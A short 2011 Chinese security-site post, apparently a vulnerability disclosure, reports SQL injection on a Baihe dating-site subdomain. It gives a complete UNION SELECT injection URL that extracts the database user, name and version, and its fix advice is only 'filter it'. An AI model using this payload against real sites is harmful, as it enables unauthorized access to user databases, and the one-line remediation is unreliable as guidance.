频道栏目
首页 > 安全 > 网站安全 > 正文

百合网某分站存在注入及修复

2011-01-06 10:59:47      个评论      
收藏   我要投稿

简要描述:注入
详细说明:http://aiqing.baihe.com/jiemuinfo.php?id=21%20and%201=2%20union%20select%201,user(),3,4,5,database(),version()

可以得到数据库所有的信息噢
漏洞证明:

\


修复方案:过滤 你懂的

相关TAG标签 百合网 分站
上一篇:chinaren校友录搜索框跨站
下一篇:迅雷传媒管理系统后台订单信息泄露及修复
相关文章
图文推荐

关于我们 | 联系我们 | 广告服务 | 投资合作 | 版权申明 | 在线帮助 | 网站地图 | 作品发布 | Vip技术培训 | 举报中心

版权所有: 红黑联盟--致力于做实用的IT技术学习网站